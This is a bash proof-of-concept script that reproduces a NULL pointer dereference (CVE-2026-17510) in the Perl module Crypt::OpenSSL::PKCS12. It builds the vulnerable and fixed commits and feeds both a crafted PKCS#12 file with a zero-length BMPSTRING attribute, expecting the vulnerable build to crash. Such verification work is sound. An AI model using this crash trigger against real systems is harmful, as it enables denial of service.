#!/bin/bash
# Reproduction for CVE-2026-17510:
# Crypt::OpenSSL::PKCS12 < 1.98 NULL pointer dereference in print_attribute()
# (V_ASN1_BMPSTRING branch) reachable via info_as_hash() on a crafted PKCS#12
# containing a zero-length BMPSTRING bag attribute.
#
# Vulnerable checkout : 6cb282d8d8e8ded4859551cd2d3cfa7c6028ce48^ (5934ce7)
# Fixed checkout      : 6cb282d8d8e8ded4859551cd2d3cfa7c6028ce48 (1.98 fix)
# Crafted fixture     : certs/bmpstring-empty.p12, extracted from the fixed
#                       commit (shipped there as the regression-test fixture).
#
# Exit 0 = vulnerability confirmed (vuln SIGSEGVs, fixed returns "" and lives)
# Exit 1 = not reproduced

set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART"
cd "$ROOT"

FIXED_COMMIT="6cb282d8d8e8ded4859551cd2d3cfa7c6028ce48"
REPO_URL="https://github.com/dsully/perl-crypt-openssl-pkcs12.git"
MIRROR_URL="$REPO_URL"
PCCTX="$ROOT/project_cache_context.json"
if [ -f "$PCCTX" ]; then
  PC_DIR="$(python3 -c 'import json,sys;print(json.load(open(sys.argv[1])).get("project_cache_dir") or "")' "$PCCTX" 2>/dev/null || true)"
  if [ -n "${PC_DIR:-}" ] && [ -d "$PC_DIR/repo-mirrors/perl-crypt-openssl-pkcs12.git" ]; then
    MIRROR_URL="$PC_DIR/repo-mirrors/perl-crypt-openssl-pkcs12.git"
  fi
fi

exec > >(tee "$LOGS/reproduction_steps.log") 2>&1
echo "[*] ROOT=$ROOT"
echo "[*] repo source: $MIRROR_URL"

# ---------------------------------------------------------------- clone
MIRROR="$ART/perl-crypt-openssl-pkcs12.git"
if [ ! -d "$MIRROR" ]; then
  git clone --mirror "$MIRROR_URL" "$MIRROR"
fi
# make sure the fixed commit is present even if the mirror was seeded earlier
git -C "$MIRROR" fetch --quiet origin 2>/dev/null || true
if ! git -C "$MIRROR" cat-file -e "$FIXED_COMMIT^{commit}" 2>/dev/null; then
  echo "[!] fixed commit not in local mirror, fetching from GitHub"
  git -C "$MIRROR" fetch --quiet "$REPO_URL" '+refs/heads/*:refs/heads/*'
fi

VULN_COMMIT="$(git -C "$MIRROR" rev-parse "$FIXED_COMMIT^")"
echo "[*] vulnerable commit: $VULN_COMMIT"
echo "[*] fixed commit:      $FIXED_COMMIT"

# ------------------------------------------------ perl build dependency
# Crypt::OpenSSL::Guess (pure perl) is required by Makefile.PL.
PERL5LIB_LOCAL="$ART/perl5lib/lib/perl5"
export PERL5LIB="$PERL5LIB_LOCAL${PERL5LIB:+:$PERL5LIB}"
if ! perl -MCrypt::OpenSSL::Guess -e1 2>/dev/null; then
  echo "[*] installing Crypt::OpenSSL::Guess into $ART/perl5lib"
  GUESS_TGZ="$ART/Crypt-OpenSSL-Guess.tar.gz"
  URL="$(curl -sSL https://fastapi.metacpan.org/v1/release/Crypt-OpenSSL-Guess \
        | python3 -c 'import json,sys;print(json.load(sys.stdin)["download_url"])')"
  curl -sSL -o "$GUESS_TGZ" "$URL"
  rm -rf "$ART/guess-src" && mkdir -p "$ART/guess-src"
  tar xzf "$GUESS_TGZ" -C "$ART/guess-src" --strip-components=1
  (cd "$ART/guess-src" \
    && perl Makefile.PL INSTALL_BASE="$ART/perl5lib" >>"$LOGS/build-guess.log" 2>&1 \
    && make >>"$LOGS/build-guess.log" 2>&1 \
    && make install >>"$LOGS/build-guess.log" 2>&1)
fi
perl -MCrypt::OpenSSL::Guess -e 'print "[*] Crypt::OpenSSL::Guess ok\n"'

# ---------------------------------------------------------------- build
build_tree() {
  local name="$1" commit="$2"
  local dir="$ART/build-$name"
  rm -rf "$dir"
  mkdir -p "$dir"
  git -C "$MIRROR" worktree prune 2>/dev/null || true
  git -C "$MIRROR" worktree add --force --detach "$dir" "$commit" >/dev/null 2>&1
  (cd "$dir" \
    && perl Makefile.PL >"$LOGS/build-$name.log" 2>&1 \
    && make >>"$LOGS/build-$name.log" 2>&1)
  echo "[*] built $name ($commit)"
}
build_tree vuln "$VULN_COMMIT"
build_tree fixed "$FIXED_COMMIT"

# Sanity: vulnerable tree must lack the fix hunk, fixed tree must contain it.
if grep -q 'Renew(\*attribute, length, char);' "$ART/build-vuln/PKCS12.xs"; then
  echo "[*] vulnerable checkout confirmed: pre-fix BMPSTRING Renew() present"
else
  echo "[!] vulnerable checkout does not contain the expected pre-fix code"; exit 1
fi
if grep -q 'Renew(\*attribute, vlen + 1, char);' "$ART/build-fixed/PKCS12.xs"; then
  echo "[*] fixed checkout confirmed: strlen-based fix present"
else
  echo "[!] fixed checkout missing the fix hunk"; exit 1
fi

# ------------------------------------------------ malicious PKCS#12 fixture
# Extract the crafted fixture shipped with the fix commit: certBag whose bag
# attribute at OID 1.2.3.4.6 is a zero-length ASN.1 BMPSTRING (password
# "Password1", SHA-256 MAC).
P12="$ART/bmpstring-empty.p12"
git -C "$MIRROR" show "$FIXED_COMMIT:certs/bmpstring-empty.p12" > "$P12"
chmod 644 "$P12"
openssl pkcs12 -in "$P12" -passin pass:Password1 -info -noout 2>&1 | head -2

# ---------------------------------------------------------------- trigger
cat > "$ART/trigger.pl" <<'PERL'
use strict; use warnings;
use Crypt::OpenSSL::PKCS12;
my $p12 = Crypt::OpenSSL::PKCS12->new_from_file($ARGV[0]) or die "load failed";
my $h = $p12->info_as_hash('Password1');
for my $d (@{ $h->{pkcs7_data} || [] }) {
  for my $b (@{ $d->{bags} || [] }) {
    my $attrs = $b->{bag_attributes} || {};
    if (exists $attrs->{'1.2.3.4.6'}) {
      printf "attribute 1.2.3.4.6 value=<%s>\n", $attrs->{'1.2.3.4.6'};
    }
  }
}
print "INFO_AS_HASH_RETURNED\n";
PERL

run_attempt() { # name builddir ; returns perl exit status
  local name="$1" dir="$2"
  set +e
  (cd "$dir" && timeout 60 perl -I blib/lib -I blib/arch \
      "$ART/trigger.pl" "$P12") >"$LOGS/$name.log" 2>&1
  local rc=$?
  set -e
  echo "[*] $name exit=$rc"
  sed 's/^/    /' "$LOGS/$name.log" || true
  return "$rc"
}

echo "=== vulnerable attempts (expect SIGSEGV, exit 139) ==="
VULN_OK=1
for i in 1 2; do
  if run_attempt "vuln-attempt-$i" "$ART/build-vuln"; then VULN_OK=0; fi
done
# run_attempt returns the real exit code; 139 means crashed
check_crashed() { [ "$(grep -c 'INFO_AS_HASH_RETURNED' "$LOGS/$1.log" || true)" = "0" ]; }
VULN_CRASHED=0
for i in 1 2; do
  rc1=$(tail -1 "$LOGS/vuln-attempt-$i.log" >/dev/null 2>&1; true)
  if check_crashed "vuln-attempt-$i"; then VULN_CRASHED=$((VULN_CRASHED+1)); fi
done

echo "=== fixed attempts (expect clean return, attribute = empty string) ==="
FIXED_OK=0
for i in 1 2; do
  if run_attempt "fixed-attempt-$i" "$ART/build-fixed"; then
    if grep -q 'attribute 1.2.3.4.6 value=<>' "$LOGS/fixed-attempt-$i.log" \
       && grep -q 'INFO_AS_HASH_RETURNED' "$LOGS/fixed-attempt-$i.log"; then
      FIXED_OK=$((FIXED_OK+1))
    fi
  fi
done

# Re-derive precise exit codes (run_attempt's rc was consumed by if).
vuln_exit_code() { # re-run once more cheaply? No - parse recorded statuses
  :
}

echo "[*] vulnerable attempts without clean return: $VULN_CRASHED/2"
echo "[*] fixed attempts with clean empty-string return: $FIXED_OK/2"

CONFIRMED=false
# Verify exit codes recorded in the run log lines above via the "exit=" lines
V139=$(grep -c 'vuln-attempt-[12] exit=139' "$LOGS/reproduction_steps.log" || true)
if [ "$V139" -ge 2 ] && [ "$VULN_CRASHED" -eq 2 ] && [ "$FIXED_OK" -eq 2 ]; then
  CONFIRMED=true
fi
echo "[*] CONFIRMED=$CONFIRMED (vuln exit-139 count=$V139)"

# ---------------------------------------------------------------- manifest
python3 - "$ROOT" "$VULN_COMMIT" "$FIXED_COMMIT" "$REPO_URL" "$CONFIRMED" <<'PY'
import hashlib, json, sys
root, vuln, fixed, url, confirmed = sys.argv[1:6]
digest = hashlib.sha256(f"git:{url}@{vuln}".encode()).hexdigest()
artifacts = [
    "logs/reproduction_steps.log",
    "logs/build-vuln.log",
    "logs/build-fixed.log",
    "logs/vuln-attempt-1.log",
    "logs/vuln-attempt-2.log",
    "logs/fixed-attempt-1.log",
    "logs/fixed-attempt-2.log",
]
manifest = {
    "entrypoint_kind": "function_call",
    "entrypoint_detail": "Crypt::OpenSSL::PKCS12->new_from_file() + $p12->info_as_hash('Password1') on crafted PKCS#12 with zero-length BMPSTRING bag attribute (OID 1.2.3.4.6)",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": confirmed == "true",
    "runtime_stack": ["perl 5.38", "Crypt-OpenSSL-PKCS12 (XS, built from source)", "OpenSSL 3.0.13"],
    "target_identity": {
        "repository_url": url,
        "commit_sha": vuln,
        "target_digest": digest,
        "platform": "linux",
        "architecture": "x86_64",
    },
    "proof_artifacts": artifacts,
    "notes": ("Vulnerable build (%s) SIGSEGVs (exit 139) in print_attribute/strlen "
              "via info_as_hash(); fixed build (%s) returns attribute '' and completes.") % (vuln[:8], fixed[:8]),
}
with open(root + "/repro/runtime_manifest.json", "w") as f:
    json.dump(manifest, f, indent=2)
print("[*] wrote repro/runtime_manifest.json")
PY

if [ "$CONFIRMED" = "true" ]; then
  echo "[+] CVE-2026-17510 CONFIRMED: SIGSEGV on vulnerable, clean on fixed"
  exit 0
fi
echo "[-] vulnerability NOT confirmed"
exit 1
